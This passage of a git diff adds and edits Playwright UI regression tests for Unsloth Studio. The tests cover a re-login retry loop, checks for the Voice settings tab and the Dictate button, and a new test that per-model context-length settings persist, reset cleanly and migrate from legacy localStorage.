+    except Exception as exc:
+        info(f"WARN clearing stale auth tokens failed: {exc!r}")
+    _fresh_page = ctx.new_page()
+    _fresh_page.set_default_timeout(60_000)
+    _fresh_page.on("pageerror", lambda e: page_errors.append(str(e)))
+    _fresh_page.on("console", _on_console)
+    try:
+        page.close()
+    except Exception:
+        pass
+    page = _fresh_page
+    login_system_request_count = len(system_requests)
+
+    # Re-login with NEW2 for a valid /api/shutdown token. Route changes can
+    # still abort or interrupt this navigation, so the field wait below is the
+    # final confirmation that we reached /login.
+    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
+    # A slow CI runner can make this re-login navigation time out even with the
+    # server healthy, so retry the whole goto/wait/fill/submit sequence (mirrors
+    # the change-password retry above). wait_for_health is a diagnostic pre-gate.
+    wait_for_health(BASE, timeout = 30.0, info = info)
+    relogin_err: Exception | None = None
+    for _relogin_attempt in range(3):
+        try:
+            try:
+                page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+            except Exception as exc:
+                if not any(t in str(exc) for t in _tolerated_nav):
+                    raise
+                info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
+            pw_field = page.locator("#password")
+            pw_field.wait_for(state = "visible", timeout = 60_000)
+            page.keyboard.press("Control+,")
+            page.wait_for_timeout(5_500)
+            if len(system_requests) != login_system_request_count:
+                raise AssertionError(
+                    "persisted monitor requested /api/system while /login was active"
+                )
+            if "/login" not in page.url:
+                raise AssertionError(f"login route reloaded or redirected unexpectedly: {page.url}")
+            pw_field.fill(NEW2)
+            # Wait on the login POST so a transient 4xx/5xx is caught and retried
+            # here, not swallowed until the out-of-loop composer wait.
+            status, _ = click_and_wait_for_response(
+                page,
+                url_substr = "/api/auth/login",
+                method = "POST",
+                do_click = lambda: page.locator('button[type="submit"]').click(),
+                timeout_ms = 30_000,
+                info = lambda m: print(f"[ui]   {m}", flush = True),
+            )
+            if status is not None and status >= 400:
+                raise AssertionError(
+                    f"login POST returned {status}; see console_errors={console_errors[:1]!r}"
+                )
+            relogin_err = None
+            break
+        except Exception as e:
+            relogin_err = e
+            try:
+                cur_url = page.url
+            except Exception:
+                cur_url = "<page closed>"
+            print(
+                f"[ui]   re-login attempt {_relogin_attempt + 1} failed: "
+                f"{type(e).__name__}: {str(e)[:200]}; page.url={cur_url}; "
+                f"page_errors={len(page_errors)} console_errors={len(console_errors)}",
+                flush = True,
+            )
+            if console_errors:
+                print(
+                    f"[ui]   first console.error: {console_errors[0][:200]!r}",
+                    flush = True,
+                )
+            if page_errors:
+                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+            try:
+                shoot(f"18-relogin-attempt-{_relogin_attempt + 1}-fail")
+            except Exception:
+                pass
+            if _relogin_attempt < 2:
+                # ERR_NO_BUFFER_SPACE needs the OS to recover socket
+                # buffers; back off 5s then 15s before retrying.
+                if "ERR_NO_BUFFER_SPACE" in str(e):
+                    backoff_s = 5 if _relogin_attempt == 0 else 15
+                    print(
+                        f"[ui]   ENOBUFS detected; sleeping {backoff_s}s "
+                        f"before retry to let OS recover socket buffers...",
+                        flush = True,
+                    )
+                    time.sleep(backoff_s)
+                # Replace the page if it died; otherwise next iteration's
+                # page.goto() handles the reload.
+                old_page = page
+                page = recover_or_replace_page(
+                    page,
+                    ctx,
+                    default_timeout_ms = 60_000,
+                    info = lambda m: print(f"[ui]   recovery: {m}", flush = True),
+                )
+                # A freshly created replacement page loses the pageerror/console
+                # listeners; re-attach so error tracking survives recovery.
+                if page is not old_page:
+                    page.on("pageerror", lambda e: page_errors.append(str(e)))
+                    page.on("console", _on_console)
+    if relogin_err is not None:
+        raise relogin_err
+    # Composer mount confirms the rotated session is authenticated. Kept OUTSIDE the
+    # retry: the loop breaks right after submit, so we never re-goto /login once login
+    # has set tokens -- that would hit the guest guard, redirect to /chat, and make a
+    # merely-slow composer look like a broken login.
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
+    monitor_deadline = time.time() + 10
+    while len(system_requests) == login_system_request_count and time.time() < monitor_deadline:
+        page.wait_for_timeout(100)
+    if len(system_requests) == login_system_request_count:
+        fail("persisted monitor did not resume /api/system polling after login")
+    if page.get_by_role("dialog", name = re.compile(r"^Settings$")).count() != 0:
+        fail("settings shortcut on /login left the dialog open after authentication")
+    info("OK persisted monitor stayed dormant on /login and resumed after authentication")
     shoot("18-relogin-with-NEW2")
 
+    step("Shutdown via account menu")
     acct_btn = page.locator('button[aria-label$=" account menu"]').first
     if acct_btn.count() == 0:
         fail("account menu button missing -- can't reach Shutdown")
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index 209a8a06f1..0da028a28c 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Studio extra-UI Playwright test: Compare tab, Recipes editor, /export, /studio, Settings tabs."""
+"""Unsloth extra-UI Playwright test: Compare tab, Recipes editor, /export, /studio, Settings tabs."""
 
 import json
 import os
@@ -90,11 +90,11 @@ with sync_playwright() as p:
     )
     install_view_transition_killer(ctx)
     page = ctx.new_page()
-    # 60s default for slow macos-14 --single-process Chromium (second Studio boot of the job).
+    # 60s default for slow macos-14 --single-process Chromium (second Unsloth boot of the job).
     page.set_default_timeout(60_000)
     page_errors = []
 
-    # Filter out known-benign React errors (timing artefacts on slow CI runners, not Studio bugs);
+    # Filter out known-benign React errors (timing artefacts on slow CI runners, not Unsloth bugs);
     # shared base list lives in _playwright_robust.BENIGN_PAGE_ERROR_PATTERNS.
     def _on_pageerror(e):
         msg = str(e)
@@ -451,9 +451,9 @@ with sync_playwright() as p:
             )
 
     # ─────────────────────────────────────────────────────
-    # 4. Studio training route.
+    # 4. Unsloth training route.
     # ─────────────────────────────────────────────────────
-    step(f"Studio route ({'chat-only redirect' if chat_only else 'tabs + sections'})")
+    step(f"Unsloth route ({'chat-only redirect' if chat_only else 'tabs + sections'})")
     page.goto(f"{BASE}/studio")
     page.wait_for_timeout(1500)
     shoot("08-studio")
@@ -482,6 +482,14 @@ with sync_playwright() as p:
     step("Settings dialog: cycle through tabs")
     page.goto(f"{BASE}/chat")
     composer.wait_for(state = "visible", timeout = 60_000)
+    dictate = page.get_by_role("button", name = "Dictate").first
+    if dictate.count() == 0:
+        fail("Chat Dictate button not found")
+    elif dictate.get_attribute("type") != "button":
+        fail("Chat Dictate control must use type=button, not submit the composer")
+    else:
+        info("OK Chat Dictate control is type=button")
+
     page.keyboard.press("Control+,")
     page.wait_for_timeout(800)
     settings = page.get_by_role("dialog").first
@@ -501,6 +509,7 @@ with sync_playwright() as p:
             "Appearance",
             "Chat",
             "Developer",
+            "Voice",
             "About",
         )
         seen_tabs = []
@@ -528,6 +537,39 @@ with sync_playwright() as p:
                     soft_fail(f"Settings tab '{tab_name}' body suspiciously short: {body_text}")
             except Exception as exc:
                 soft_fail(f"Settings tab '{tab_name}' click failed: {exc!r}")
+        step("Voice model picker: real mouse-wheel scrolling")
+        voice_tab = page.get_by_role(
+            "button", name = re.compile(r"^\s*Voice(?:\s+New)?\s*$", re.I)
+        ).first
+        if voice_tab.count() == 0:
+            fail("Voice settings tab not found")
+        else:
+            voice_tab.click()
+            page.get_by_label("Dictation engine").click()
+            page.get_by_role("option", name = "Local transcription").click()
+            page.get_by_label("Speech recognition model").click()
+            page.get_by_placeholder("Search model").fill("whisper")
+            results = page.get_by_test_id("stt-model-results")
+            try:
+                page.wait_for_function(
+                    """() => {
+                        const node = document.querySelector('[data-testid="stt-model-results"]');
+                        return !!node && node.scrollHeight > node.clientHeight;
+                    }""",
+                    timeout = 30_000,
+                )
+                results.hover()
+                page.mouse.wheel(0, 700)
+                page.wait_for_function(
+                    """() => {
+                        const node = document.querySelector('[data-testid="stt-model-results"]');
+                        return !!node && node.scrollTop > 0;
+                    }""",
+                    timeout = 5_000,
+                )
+                info("OK Voice model picker mouse wheel changed scrollTop")
+            except Exception as exc:
+                fail(f"Voice model picker did not wheel-scroll: {exc!r}")
         shoot("10-settings-tabs-visited")
         page.keyboard.press("Escape")
         page.wait_for_timeout(300)
diff --git a/tests/studio/playwright_model_config.py b/tests/studio/playwright_model_config.py
new file mode 100644
index 0000000000..a8d143a253
--- /dev/null
+++ b/tests/studio/playwright_model_config.py
@@ -0,0 +1,740 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Model-picker per-model-config Playwright regression test (GPU-free, CPU gemma).
+
+Guards, end to end against the real frontend, the exact regressions that got the
+predecessor PR reverted:
+
+  - Context Length persists: set a distinctive per-model Context Length + tick
+    "Remember for this model" + Load; the value reaches the /api/inference/load
+    request (max_seq_length) AND lands in localStorage (unsloth_model_configs),
+    and survives a full browser reload (HARD).
+  - Reset clears: after customizing, Reset must clear the stored override, never
+    pin the context to a fixed number (the "Reset pins context" regression) (HARD).
+  - Hidden infra models absent: the RAG embedder (bge-small-en-v1.5) and the
+    llama.cpp validation probe (stories260K) never appear in the picker. The
+    probe GGUF is primed into the HF cache by the CI job, so "absent" proves
+    "hidden", not "not downloaded" (HARD).
+  - Legacy migration is idempotent: a pre-feature unsloth_load_settings store
+    migrates once into the versioned unsloth_model_configs map with the value
+    preserved, and a second reload with a fresh legacy seed present does not
+    re-migrate, duplicate, or clobber (gates under STUDIO_UI_STRICT via soft_fail).
+  - Advanced settings persist: KV cache dtype / tensor-parallel toggled under
+    Advanced + Remember land in unsloth_model_configs (best-effort).
+
+Runs as a plain script (not via pytest), mirroring tests/studio/playwright_extra_ui.py:
+accumulate failures in `_failed`, exit non-zero if any HARD gate failed. With
+STUDIO_UI_STRICT=1 (as CI sets), soft_fail also gates; genuinely-optional checks
+use runtime_warn so they never flake the merge gate.
+"""
+
+import json
+import re
+import sys
+import os
+import time
+from pathlib import Path
+
+from playwright.sync_api import sync_playwright
+
+# Run as a plain script (not via pytest), so prepend the dir to sys.path.
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+from _playwright_robust import (  # noqa: E402
+    chromium_launch_args,
+    click_and_wait_for_response,
+    evaluate_fetch,
+    install_view_transition_killer,
+    install_wall_clock_watchdog,
+    is_benign_page_error,
+    recover_or_replace_page,
+    robust_evaluate,
+    wait_for_health,
+)
+
+BASE = os.environ["BASE_URL"]
+NEW = os.environ.get("STUDIO_NEW_PW", "ModelCfg-NEW-2026!")
+# Attach mode: log into an already-provisioned Studio with an existing password
+# instead of the first-boot change-password dance. CI leaves STUDIO_LOGIN_PW unset
+# to exercise the real change-password flow; local runs can set it to skip re-provisioning.
+LOGIN_PW = os.environ.get("STUDIO_LOGIN_PW")
+LOGIN_USER = os.environ.get("STUDIO_LOGIN_USER", "unsloth")
+GGUF_REPO = os.environ.get("GGUF_REPO", "unsloth/gemma-3-270m-it-GGUF")
+GGUF_VARIANT = os.environ.get("GGUF_VARIANT", "UD-Q4_K_XL")
+# Substring of the On Device picker row for the loaded model.
+MODEL_HINT = os.environ.get("STUDIO_MODEL_HINT", "gemma-3-270m")
+# A distinctive valid (>=128, multiple of 128, below the model's 32768 ceiling)
+# Context Length, clearly not a default, so persistence is unambiguous.
+DISTINCT_CTX = int(os.environ.get("STUDIO_DISTINCT_CTX", "4096"))
+ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright_modelcfg")
+ART = Path(ART_DIR)
+ART.mkdir(parents = True, exist_ok = True)
+STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"
+TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))
+WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))
+FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_FETCH_TIMEOUT_MS", "30000"))
+LOAD_FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_LOAD_TIMEOUT_MS", "180000"))
+
+_n = [0]
+_failed: list[str] = []
+
+
+def step(s: str) -> None:
+    print(f"[ui-modelcfg] STEP {s}", flush = True)
+
+
+def info(s: str) -> None:
+    print(f"[ui-modelcfg] {s}", flush = True)
+
+
+def fail(m: str) -> None:
+    print(f"[ui-modelcfg] FAIL: {m}", flush = True)
+    _failed.append(m)
+
+
+def soft_fail(m: str) -> None:
+    if STRICT:
+        fail(m)
+    else:
+        info(f"WARN (strict-off): {m}")
+
+
+def runtime_warn(m: str) -> None:
+    """Warn about a genuinely-optional check that STRICT does not gate."""
+    info(f"WARN (runtime): {m}")
+
+
+def _count(loc) -> int:
+    try:
+        return loc.count()
+    except Exception:
+        return 0
+
+
+def _as_int(value) -> int | None:
+    """Parse an input value to int, tolerating commas/whitespace. Comparisons
+    must be numeric, never substring: '40960' (a model's native default) would
+    spuriously "contain" '4096'."""
+    if value is None:
+        return None
+    try:
+        return int(str(value).replace(",", "").strip())
+    except Exception:
+        return None
+
+
+def _login_token_via_api(base: str, user: str, pw: str) -> str:
+    """POST /api/auth/login -> access_token (attach-mode helper, stdlib only)."""
+    import urllib.request
+
+    req = urllib.request.Request(
+        f"{base}/api/auth/login",
+        data = json.dumps({"username": user, "password": pw}).encode(),
+        headers = {"Content-Type": "application/json"},
+        method = "POST",
+    )
+    with urllib.request.urlopen(req, timeout = 15) as r:
+        return json.loads(r.read().decode())["access_token"]
+
+
+with sync_playwright() as p:
+    _watchdog = install_wall_clock_watchdog(
+        WALL_TIMEOUT_S,
+        label = "ui-modelcfg",
+        info = info,
+    )
+    # Health pre-flight: bash-side health wait can pass before the auth DB migrates.
+    wait_for_health(BASE, timeout = 30.0, info = info)
+    browser = p.chromium.launch(
+        headless = True,
+        args = chromium_launch_args(),
+    )
+    ctx = browser.new_context(
+        viewport = {"width": 1280, "height": 900},
+        reduced_motion = "reduce",
+    )
+    install_view_transition_killer(ctx)
+    page = ctx.new_page()
+    page.set_default_timeout(60_000)
+    page_errors = []
+
+    def _on_pageerror(e):
+        msg = str(e)
+        if is_benign_page_error(msg):
+            info(f"WARN ignoring benign pageerror: {msg!r}")
+            return
+        page_errors.append(msg)
+
+    page.on("pageerror", _on_pageerror)
+
+    # Record every /api/inference/load POST payload so the persistence gate can
+    # assert max_seq_length.
+    load_posts: list[str] = []
+
+    def _on_request(req):
+        try:
+            if req.method == "POST" and "/api/inference/load" in req.url:
+                load_posts.append(req.post_data or "")
+        except Exception:
+            pass
+
+    page.on("request", _on_request)
+
+    def shoot(name: str) -> None:
+        _n[0] += 1
+        try:
+            page.screenshot(
+                path = str(ART / f"{_n[0]:02d}-{name}.png"),
+                full_page = True,
+                timeout = 90_000,
+                animations = "disabled",
+            )
+        except Exception as _shoot_err:
+            info(f"WARN: screenshot {name} failed: {_shoot_err}")
+
+    def read_configs() -> dict:
+        """Return the parsed unsloth_model_configs map (or {} if absent/invalid)."""
+        raw = robust_evaluate(page, "() => localStorage.getItem('unsloth_model_configs')")
+        if not raw:
+            return {}
+        try:
+            data = json.loads(raw)
+            return data if isinstance(data, dict) else {}
+        except Exception:
+            return {}
+
+    def config_entries(cfg: dict) -> list[dict]:
+        """The per-model entries (dict values) of the stored map, schema-tolerant."""
+        return [v for v in cfg.values() if isinstance(v, dict)]
+
+    # ─────────────────────────────────────────────────────
+    # Setup: authenticate + model load.
+    # ─────────────────────────────────────────────────────
+    if LOGIN_PW:
+        # Attach mode: log in via the API and seed the token before navigation,
+        # skipping the first-boot change-password dance.
+        step("setup: API login + token seed (attach to running Studio)")
+        _tok = _login_token_via_api(BASE, LOGIN_USER, LOGIN_PW)
+        ctx.add_init_script(
+            f"try{{localStorage.setItem('unsloth_auth_token', {json.dumps(_tok)});}}"
+            f"catch(e){{}}"
+        )
+        page.goto(BASE, wait_until = "domcontentloaded", timeout = 60_000)
+    else:
+        step("setup: change-password")
+        # 3-attempt retry: the form can re-render mid-fill on slow runners and
+        # detach the password fields; each retry re-navigates with a fresh page.
+        form_err: Exception | None = None
+        for _form_attempt in range(3):
+            try:
+                page.goto(f"{BASE}/change-password", wait_until = "domcontentloaded", timeout = 60_000)
+                try:
+                    page.wait_for_load_state("networkidle", timeout = 30_000)
+                except Exception:
+                    pass
+                pw_field = page.locator("#new-password")
+                pw_field.wait_for(state = "visible", timeout = 60_000)
+                pw_field.fill(NEW, timeout = 60_000)
+                page.fill("#confirm-password", NEW, timeout = 60_000)
+                status, _ = click_and_wait_for_response(
+                    page,
+                    url_substr = "/api/auth/change-password",
+                    method = "POST",
+                    do_click = lambda: page.locator('button[type="submit"]').click(),
+                    timeout_ms = 30_000,
+                    info = lambda m: print(f"[ui-modelcfg]   {m}", flush = True),
+                )
+                if status is not None and status >= 400:
+                    raise AssertionError(
+                        f"change-password POST returned {status}; page_errors={page_errors[:1]!r}"
+                    )
+                form_err = None
+                break
+            except Exception as e:
+                form_err = e
+                try:
+                    cur_url = page.url
+                except Exception:
+                    cur_url = "<page closed>"
+                print(
+                    f"[ui-modelcfg]   change-password attempt {_form_attempt + 1} failed: "
+                    f"{type(e).__name__}: {str(e)[:200]}; page.url={cur_url}; "
+                    f"page_errors={len(page_errors)}",
+                    flush = True,
+                )
+                if _form_attempt < 2:
+                    if "ERR_NO_BUFFER_SPACE" in str(e):
+                        backoff_s = 5 if _form_attempt == 0 else 15
+                        time.sleep(backoff_s)
+                    page = recover_or_replace_page(
+                        page,
+                        ctx,
+                        default_timeout_ms = 60_000,
+                        info = lambda m: print(f"[ui-modelcfg]   recovery: {m}", flush = True),
+                    )
+                    page.on("request", _on_request)
+        if form_err is not None:
+            raise form_err
+
+    try:
+        page.wait_for_load_state("networkidle", timeout = 30_000)
+    except Exception:
+        pass
+    composer = page.locator('textarea[aria-label="Message input"]')
+    last_err: Exception | None = None
+    for _attempt in range(2):
+        try:
+            composer.wait_for(state = "visible", timeout = 60_000)
+            last_err = None
+            break
+        except Exception as e:
+            last_err = e
+            try:
+                shoot(f"00-composer-wait-attempt-{_attempt + 1}-fail")
+            except Exception:
+                pass
+            if _attempt == 0:
+                page = recover_or_replace_page(
+                    page,
+                    ctx,
+                    default_timeout_ms = 60_000,
+                    goto_url = BASE,
+                    settle_networkidle = True,
+                    info = lambda m: print(f"[ui-modelcfg]   recovery: {m}", flush = True),
+                )
+                page.on("request", _on_request)
+                composer = page.locator('textarea[aria-label="Message input"]')
+    if last_err is not None:
+        raise last_err
+    shoot("01-chat-loaded")
+
+    token = robust_evaluate(page, "() => localStorage.getItem('unsloth_auth_token')")
+    if not token:
+        fail("no access token after auth setup")
+        sys.exit(1)
+
+    # Load the tiny GGUF so it is a live "On Device" model in the picker.
+    load_resp = evaluate_fetch(
+        page,
+        f"{BASE}/api/inference/load",
+        method = "POST",
+        headers = {
+            "Authorization": f"Bearer {token}",
+            "Content-Type": "application/json",
+        },
+        body = {
+            "model_path": GGUF_REPO,
+            "gguf_variant": GGUF_VARIANT,
+            "is_lora": False,
+            "max_seq_length": 2048,
+        },
+        timeout_ms = LOAD_FETCH_TIMEOUT_MS,
+    )
+    if load_resp.get("error"):
+        fail(f"/api/inference/load wedged: {load_resp['error']!r}")
+        sys.exit(1)
+    if load_resp["status"] != 200:
+        fail(f"/api/inference/load -> {load_resp['status']}: {load_resp.get('body')!r}")
+        sys.exit(1)
+    info(f"loaded model: {(load_resp['body'] or {}).get('display_name')}")
+    page.reload()
+    composer = page.locator('textarea[aria-label="Message input"]')
+    composer.wait_for(state = "visible", timeout = 60_000)
+    load_posts.clear()  # drop the setup load; keep only UI-driven loads below.
+
+    # ─────────────────────────────────────────────────────
+    # Picker helpers (proven selectors).
+    # ─────────────────────────────────────────────────────
+    POPOVER = '[data-tour="chat-model-selector-popover"]'
+    TRIGGER = '[data-tour="chat-model-selector"]'
+
+    def open_picker():
+        popover = page.locator(POPOVER).first
+        if _count(popover) == 0 or not popover.is_visible():
+            page.locator(TRIGGER).first.click()
+            page.wait_for_timeout(900)
+            popover = page.locator(POPOVER).first
+        popover.wait_for(state = "visible", timeout = 30_000)
+        return popover
+
+    def close_picker():
+        try:
+            page.keyboard.press("Escape")
+            page.wait_for_timeout(400)
+        except Exception:
+            pass
+
+    def select_on_device_row(popover, hint):
+        od = page.get_by_role("tab", name = "On Device").first
+        if _count(od):
+            od.click()
+            page.wait_for_timeout(700)
+        row = popover.locator("[data-model-picker-option]", has_text = hint).first
+        if _count(row) == 0:
+            # Fall back to search filtering.
+            search = popover.locator("[data-model-picker-search-input]").first
+            if _count(search):
+                search.click()
+                search.fill(hint)
+                page.wait_for_timeout(700)
+                row = popover.locator("[data-model-picker-option]", has_text = hint).first
+        if _count(row) == 0:
+            return None
+        row.click()
+        page.wait_for_timeout(800)
+        return row
+
+    def open_config(popover, hint):
+        if select_on_device_row(popover, hint) is None:
+            return None
+        gear = popover.locator('button[aria-label^="Inference settings for"]').first
+        if _count(gear) == 0:
+            return None
+        gear.click()
+        page.wait_for_timeout(800)
+        return popover
+
+    def context_input(popover):
+        for role in ("textbox", "spinbutton"):
+            loc = popover.get_by_role(role, name = "Context Length").first
+            if _count(loc):
+                return loc
+        loc = popover.locator('input[aria-label="Context Length"]').first
+        return loc if _count(loc) else None
+
+    def primary_button(popover):
+        for name in ("Load model", "Reload model", "Save settings", "Forget settings"):
+            b = popover.get_by_role("button", name = name).first
+            if _count(b):
+                return b
+        return None
+
+    # ─────────────────────────────────────────────────────
+    # 1. Hidden infra models absent from the picker (HARD).
+    # ─────────────────────────────────────────────────────
+    step("hidden infra models absent from picker")
+    popover = open_picker()
+    shoot("02-picker-open")
+    needles = ["bge-small-en-v1.5", "stories260"]
+    tabs = ["Recommended", "On Device", "Connected"]
+    hidden_ok = True
+    for needle in needles:
+        for tab_name in tabs:
+            tab = page.get_by_role("tab", name = tab_name).first
+            if _count(tab) == 0:
+                continue
+            try:
+                tab.click()
+                page.wait_for_timeout(400)
+            except Exception:
+                continue
+            search = popover.locator("[data-model-picker-search-input]").first
+            if _count(search):
+                search.click()
+                search.fill(needle)
+                page.wait_for_timeout(600)
+            hit = popover.locator(
+                "[data-model-picker-option]",
+                has_text = re.compile(re.escape(needle), re.I),
+            )
+            c = _count(hit)
+            if c > 0:
+                hidden_ok = False
+                fail(f"infra model {needle!r} visible in picker '{tab_name}' tab ({c} rows)")
+            if _count(search):
+                search.fill("")
+                page.wait_for_timeout(300)
+    if hidden_ok:
+        info("OK hidden: bge-small-en-v1.5 + stories260K absent from every picker tab")
+    shoot("03-hidden-check")
+    close_picker()
+
+    # ─────────────────────────────────────────────────────
+    # 2. Context Length persists (load + request + reload) (HARD).
+    # ─────────────────────────────────────────────────────
+    step(f"context length {DISTINCT_CTX} persists")
+    popover = open_picker()
+    if open_config(popover, MODEL_HINT) is None:
+        fail(f"could not open run-settings for a model matching {MODEL_HINT!r}")
+    else:
+        shoot("04-config-open")
+        ctx_in = context_input(popover)
+        if ctx_in is None:
+            fail("Context Length input not found in run-settings")
+        else:
+            default_ctx = ctx_in.input_value()
+            info(f"default Context Length shown: {default_ctx!r}")
+            ctx_in.click()
+            ctx_in.fill(str(DISTINCT_CTX))
+            page.wait_for_timeout(300)
+            page.keyboard.press("Tab")  # blur to commit
+            page.wait_for_timeout(300)
+            remember = popover.get_by_label("Remember for this model").first
+            if _count(remember):
+                try:
+                    remember.check()
+                except Exception:
+                    remember.click()
+            else:
+                fail("'Remember for this model' checkbox not found")
+            page.wait_for_timeout(300)
+            shoot("05-ctx-set")
+            btn = primary_button(popover)
+            if btn is None:
+                fail("primary Load/Save button not found in run-settings")
+            else:
+                btn.click()
+                page.wait_for_timeout(2500)
+                shoot("06-after-load")
+
+                # (a) localStorage stored the distinctive context.
+                cfg = read_configs()
+                entries = config_entries(cfg)
+                got_ls = any(e.get("customContextLength") == DISTINCT_CTX for e in entries)
+                if got_ls:
+                    info(f"OK persist(localStorage): customContextLength={DISTINCT_CTX} stored")
+                else:
+                    fail(
+                        "context not stored in unsloth_model_configs "
+                        f"(entries={json.dumps(entries)[:400]})"
+                    )
+
+                # (b) the load request carried max_seq_length == distinctive value.
+                got_req = False
+                for body in load_posts:
+                    try:
+                        payload = json.loads(body) if body else {}
+                    except Exception:
+                        payload = {}
+                    if payload.get("max_seq_length") == DISTINCT_CTX:
+                        got_req = True
+                        break
+                if got_req:
+                    info(f"OK persist(request): /api/inference/load max_seq_length={DISTINCT_CTX}")
+                else:
+                    # The UI may debounce the load; localStorage is the primary
+                    # proof, so only warn if the request was missed.
+                    runtime_warn(
+                        "no /api/inference/load carried "
+                        f"max_seq_length={DISTINCT_CTX}; posts={load_posts!r}"
+                    )
+
+    # (c) survives a full browser reload.
+    close_picker()
+    page.reload()
+    composer = page.locator('textarea[aria-label="Message input"]')
+    composer.wait_for(state = "visible", timeout = 60_000)
+    popover = open_picker()
+    if open_config(popover, MODEL_HINT) is None:
+        fail("could not reopen run-settings after reload")
+    else:
+        ctx_in = context_input(popover)
+        val = ctx_in.input_value() if ctx_in else None
+        if _as_int(val) == DISTINCT_CTX:
+            info(f"OK persist(reload): Context Length still {val!r} after reload")
+        else:
+            fail(f"Context Length did not persist across reload (got {val!r})")
+        shoot("07-after-reload")
+
+    # ─────────────────────────────────────────────────────
+    # 3. Reset clears the override (never pins context) (HARD).
+    # ─────────────────────────────────────────────────────
+    step("reset clears the per-model override")
+    # (popover + config still open from the reload check.)
+    reset_btn = popover.get_by_role("button", name = "Reset").first
+    if _count(reset_btn) == 0:
+        fail("Reset button not found in run-settings")
+    else:
+        try:
+            reset_btn.click()
+            page.wait_for_timeout(500)
+        except Exception as e:
+            fail(f"Reset click failed: {e}")
+        # The input after Reset is informational only: a live-loaded model can still
+        # echo its context even with the stored override gone. The regression we
+        # guard ("Reset PINS the override") lives in localStorage, asserted below.
+        ctx_in = context_input(popover)
+        after_reset = ctx_in.input_value() if ctx_in else None
+        info(f"reset: Context Length input now shows {after_reset!r}")
+        # Commit the reset so the stored override is dropped, then assert storage.
+        btn = primary_button(popover)
+        if btn is not None and btn.is_enabled():
+            btn.click()
+            page.wait_for_timeout(1500)
+        cfg = read_configs()
+        pinned = any(
+            _as_int(e.get("customContextLength")) == DISTINCT_CTX for e in config_entries(cfg)
+        )
+        if pinned:
+            fail("Reset left the distinctive context pinned in unsloth_model_configs")
+        else:
+            info("OK reset: distinctive context cleared from unsloth_model_configs")
+        shoot("08-after-reset")
+    close_picker()
+
+    # ─────────────────────────────────────────────────────
+    # 4. Advanced settings persist (best-effort, never gates).
+    # ─────────────────────────────────────────────────────
+    step("advanced (KV cache dtype / tensor parallel) persists")
+    try:
+        popover = open_picker()
+        if open_config(popover, MODEL_HINT) is not None:
+            adv = popover.get_by_role("switch", name = re.compile("advanced settings", re.I)).first
+            if _count(adv):
+                try:
+                    adv.check()
+                except Exception:
+                    adv.click()
+                page.wait_for_timeout(500)
+            # The Tensor Parallelism Radix Switch has no aria-label, so target the
+            # first switch after the "Tensor Parallelism" text.
+            tp = popover.locator(
+                'xpath=.//span[contains(text(),"Tensor Parallelism")]'
+                '/following::*[@role="switch"][1]'
+            ).first
+            toggled = False
+            if _count(tp):
+                try:
+                    tp.click()
+                    toggled = True
+                except Exception:
+                    pass
+            remember = popover.get_by_label("Remember for this model").first
+            if _count(remember):
+                try:
+                    remember.check()
+                except Exception:
+                    remember.click()
+            btn = primary_button(popover)
+            if btn is not None and btn.is_enabled():
+                btn.click()
+                page.wait_for_timeout(1500)
+            cfg = read_configs()
+            has_adv = any(
+                e.get("tensorParallel") or e.get("kvCacheDtype") for e in config_entries(cfg)
+            )
+            if toggled and has_adv:
+                info("OK advanced: tensorParallel/kvCacheDtype persisted")
+            else:
+                runtime_warn(
+                    f"advanced persistence not observed (toggled={toggled}, "
+                    f"entries={json.dumps(config_entries(cfg))[:300]})"
+                )
+        else:
+            runtime_warn("could not open run-settings for the advanced-persist check")
+        close_picker()
+    except Exception as e:
+        runtime_warn(f"advanced-persist check errored: {e}")
+
+    # ─────────────────────────────────────────────────────
+    # 5. Legacy migration is idempotent (gates in CI via soft_fail).
+    #    Seed a pre-feature unsloth_load_settings store, confirm it migrates once
+    #    with the value preserved, then reload with a fresh legacy seed and confirm
+    #    the migration does not re-run, duplicate, or clobber. Re-running on every
+    #    reload was the regression that reverted the predecessor PR.
+    # ─────────────────────────────────────────────────────
+    step("legacy unsloth_load_settings migrates once and stays idempotent")
+    try:
+        legacy_key = f"{GGUF_REPO}::{GGUF_VARIANT}"
+        legacy = {
+            legacy_key: {
+                "contextLength": DISTINCT_CTX,
+                "kvCacheDtype": "q8_0",
+                "tensorParallel": True,
+            }
+        }
+        robust_evaluate(
+            page,
+            "(seed) => {"
+            "  localStorage.setItem('unsloth_load_settings', JSON.stringify(seed));"
+            "  localStorage.removeItem('unsloth_model_configs');"
+            "  localStorage.removeItem('unsloth_model_configs_migrated');"
+            "  return true;"
+            "}",
+            arg = legacy,
+        )
+        page.reload()
+        composer = page.locator('textarea[aria-label="Message input"]')
+        composer.wait_for(state = "visible", timeout = 60_000)
+        # Opening the picker config forces the store to read (which migrates).
+        popover = open_picker()
+        open_config(popover, MODEL_HINT)
+        page.wait_for_timeout(800)
+        cfg_first = read_configs()
+        migrated_ctx = any(
+            e.get("customContextLength") == DISTINCT_CTX for e in config_entries(cfg_first)
+        )
+        if migrated_ctx:
+            info(f"OK migration: legacy context {DISTINCT_CTX} preserved after migrating")
+        else:
+            soft_fail(
+                f"legacy context {DISTINCT_CTX} not migrated into unsloth_model_configs "
+                f"(got {json.dumps(cfg_first)[:400]})"
+            )
+        flag_first = robust_evaluate(
